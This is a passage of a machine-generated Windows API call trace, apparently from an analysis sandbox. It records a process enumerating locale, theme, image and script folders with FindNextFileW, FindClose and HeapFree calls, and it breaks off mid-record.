[0191.070] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0191.070] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.070] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0191.070] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.070] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0191.071] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.071] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1 [0191.071] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.071] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0191.071] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.071] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0191.071] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.071] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1 [0191.072] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.072] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0191.072] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.072] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0191.072] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.072] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1 [0191.072] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.072] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0191.072] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.072] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0191.073] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.073] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1 [0191.073] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.073] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0191.073] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.073] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1 [0191.073] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.073] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0191.074] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.074] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0191.074] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.074] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1 [0191.074] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.074] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0191.074] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.074] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1 [0191.074] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.074] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0191.075] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.075] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0191.075] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.075] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0191.075] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.075] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0191.076] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.076] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0191.076] FindClose (in: hFindFile=0x4531740 | out: hFindFile=0x4531740) returned 1 [0191.076] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0191.076] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0 [0191.076] FindClose (in: hFindFile=0x4531780 | out: hFindFile=0x4531780) returned 1 [0191.076] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0191.076] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="viewer", cAlternateFileName="")) returned 0 [0191.076] FindClose (in: hFindFile=0x4531e80 | out: hFindFile=0x4531e80) returned 1 [0191.076] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0191.081] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0191.081] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0191.081] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0191.081] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="walk-through", cAlternateFileName="WALK-T~1")) returned 1 [0191.082] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0191.082] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0191.325] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0191.326] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 1 [0191.326] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0191.327] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0191.327] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0191.327] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0191.327] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0191.327] FindClose (in: hFindFile=0x72a788 | out: hFindFile=0x72a788) returned 1 [0191.327] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0191.327] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0191.327] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0191.327] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0191.328] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0191.328] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0191.328] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0191.328] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0191.328] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0191.328] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0191.328] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0191.328] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 